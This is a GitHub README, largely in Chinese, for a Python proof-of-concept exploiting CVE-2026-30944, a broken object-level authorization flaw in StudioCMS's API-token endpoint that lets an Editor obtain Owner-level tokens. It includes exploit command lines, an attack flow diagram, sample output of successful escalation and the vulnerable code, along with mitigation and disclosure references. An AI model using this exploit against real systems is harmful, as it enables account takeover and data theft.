FilipeGaudard/CVE-2026-30944-PoC

GitHub: FilipeGaudard/CVE-2026-30944-PoC

针对 StudioCMS 不安全 API Token 生成端点的 Python PoC,可利用 BOLA/IDOR 漏洞实现从 Editor 到 Owner 的权限提升。

Stars: 0 | Forks: 0

🔓 CVE-2026-30944

StudioCMS 通过不安全的 API Token 生成实现权限提升

CVE CVSS CWE Type

NVDAdvisoryCWE-639

## 概述 **StudioCMS ≤ 0.3.0** 中的 `POST /studiocms_api/dashboard/api-tokens` 端点允许任何经过身份验证的用户(至少为 `Editor` 角色)为**任何其他用户**生成 API token,包括 `owner` 和 `admin` 账户。 该端点在请求体中接受一个 `user` 参数以指定目标用户 UUID,但**从未验证**请求用户是否有权代表该目标创建 token。这是一个典型的**失效的对象级别授权 (BOLA)** 漏洞,会导致完全的权限提升。 ### 攻击流程 ``` ┌──────────────┐ POST /api-tokens ┌──────────────┐ │ │ {"user":""} │ │ │ Attacker │ ─────────────────────────► │ StudioCMS │ │ (Editor) │ │ Server │ │ │ ◄───────────────────────── │ │ └──────────────┘ {"token":"eyJhb..."} └──────────────┘ │ │ │ GET /rest/v1/users │ │ Authorization: Bearer │ │ ─────────────────────────────────────────►│ │ │ │ ◄─────────────────────────────────────────│ │ [Full user data as Owner] │ │ │ ``` ### 漏洞详情 | 字段 | 值 | |---|---| | **CVE** | [CVE-2026-30944](https://nvd.nist.gov/vuln/detail/CVE-2026-30944) | | **GHSA** | [GHSA-667w-mmh7-mrr4](https://github.com/withstudiocms/studiocms/security/advisories/GHSA-667w-mmh7-mrr4) | | **CVSS v3.1** | **8.8** (高危) — `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` | | **CWE** | CWE-639: 通过用户控制键绕过授权 | | **CWE (次要)** | CWE-863: 不正确的授权 | | **MITRE ATT&CK** | T1134 — 访问令牌操作 | | **OWASP API** | API1:2023 — 失效的对象级别授权 | | **受影响** | `studiocms ≤ 0.3.0` | | **修复于** | `studiocms 0.4.0` | ## 目录 | 文件 | 描述 | |---|---| | `cve_2026_30944_poc.py` | 包含手动和自动模式的 Python 利用脚本 | | `README.md` | 本文件 | | `LICENSE` | MIT License | ## 前置条件 - **StudioCMS ≤ 0.3.0** (受影响版本) - Python 3.8+ - 至少拥有 `Editor` 账户的有效凭据 ``` pip install requests colorama ``` ## 快速开始 ### 手动利用 ``` # 使用 editor 账户为 owner 生成 API token python3 cve_2026_30944_poc.py \ -u http://localhost:4321 \ --username editor01 \ --password editorpass \ --uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 # 保存结果到 JSON python3 cve_2026_30944_poc.py \ -u http://localhost:4321 \ --username editor01 \ --password editorpass \ --uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \ --save ``` ### 自动化测试 ``` # 使用多个角色测试以确认漏洞 python3 cve_2026_30944_poc.py \ -u http://localhost:4321 \ --auto-test \ --editor-user editor01 \ --editor-pass editorpass \ --visitor-user visitor01 \ --visitor-pass visitorpass \ --uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 ``` ## 参数 ### 必需 | 参数 | 描述 | |---|---| | `-u, --url` | 目标 StudioCMS 基础 URL | | `--uuid` | 目标用户 UUID (例如 owner 账户) | ### 手动模式 | 参数 | 描述 | |---|---| | `--username` | 用于身份验证的用户名 | | `--password` | 用于身份验证的密码 | ### 自动化测试模式 | 参数 | 描述 | |---|---| | `--auto-test` | 启用自动化多角色测试 | | `--editor-user` | Editor 账户用户名 | | `--editor-pass` | Editor 账户密码 | | `--visitor-user` | Visitor 账户用户名 | | `--visitor-pass` | Visitor 账户密码 | ### 可选 | 参数 | 描述 | |---|---| | `--save` | 将结果保存到 JSON 文件 | | `--no-ssl-verify` | 禁用 SSL 证书验证 | ## 示例输出 ### 受影响系统 ``` ────────────────────────────────────────────────────────── PHASE 1: Authentication ────────────────────────────────────────────────────────── [+] Authenticated as 'editor01' [*] Session user: editor01 (editor) [*] Session UUID: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c ────────────────────────────────────────────────────────── PHASE 2: Privilege Escalation ────────────────────────────────────────────────────────── [*] Target UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1 [*] Generating API token for target user... [+] API token generated successfully! [!] Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2... ────────────────────────────────────────────────────────── PHASE 3: Verification ────────────────────────────────────────────────────────── [*] Verifying token access on REST API... [+] VULNERABILITY CONFIRMED — Full API access achieved! [*] Retrieved 9 user records ``` ### 已修复系统 ``` ────────────────────────────────────────────────────────── PHASE 2: Privilege Escalation ────────────────────────────────────────────────────────── [*] Target UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1 [*] Generating API token for target user... [*] Access denied (403 Forbidden) — endpoint may be patched [-] Exploitation failed — token not generated ``` ## 根本原因 位于 `packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts` (第 16–57 行) 的受影响处理器接受来自 JSON 体的 `user` 参数,并在未进行授权检查的情况下将其直接传递给 token 生成函数: ``` // [1] Only checks if caller is editor — not WHO they're creating a token for const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor; // [2] 'user' from request body — no validation against authenticated session const jsonData = yield* readAPIContextJson<{ description: string; user: string }>(ctx); // [3] Passed directly to token generation — IDOR const newToken = yield* sdk.REST_API.tokens.new(jsonData.user, jsonData.description); ``` 授权模型仅验证“调用者是否至少为 editor?”,而不是“调用者是否有权为该特定用户创建 token?” ## 影响 - **权限提升** — 任何 editor 都可以提升为 owner 级别的 API 访问权限 - **完全 API 访问** — 生成的 token 授予对所有 REST 端点的不受限制的访问权限 - **账户接管** — 攻击者可以通过指定用户的 UUID 来冒充任何用户 - **数据泄露** — 访问用户列表、内容和系统配置 ## 缓解措施 将 StudioCMS 更新至 **0.4.0** 或更高版本: ``` npm install studiocms@latest ``` ## 法律免责声明 **本工具仅用于教育和授权安全测试目的。** - 仅针对您拥有或获得明确书面许可测试的系统使用 - 未经授权访问计算机系统在大多数司法管辖区均属违法 - 作者对滥用本工具不承担任何责任 - 始终遵循负责任的披露做法 ## 参考资料 - **CVE:** [CVE-2026-30944](https://nvd.nist.gov/vuln/detail/CVE-2026-30944) - **Advisory:** [GHSA-667w-mmh7-mrr4](https://github.com/withstudiocms/studiocms/security/advisories/GHSA-667w-mmh7-mrr4) - **CWE:** [CWE-639 — Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html) - **OWASP:** [API1:2023 — Broken Object Level Authorization](https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/) - **MITRE ATT&CK:** [T1134 — Access Token Manipulation](https://attack.mitre.org/techniques/T1134/) ## 作者 **Filipe Gaudard** ## 许可证 本 PoC 根据 [MIT License](LICENSE) 发布,用于教育目的。请负责任且合乎道德地使用。
标签:API Token, API 漏洞, BOLA, CSV导出, CVE-2026-30944, CVSS 8.8, CWE-639, Editor 用户, IDOR, NVD, PoC, StudioCMS, Web 安全, Web报告查看器, 协议分析, 授权绕过, 暴力破解, 权限提升, 网络安全, 越权访问, 逻辑漏洞, 隐私保护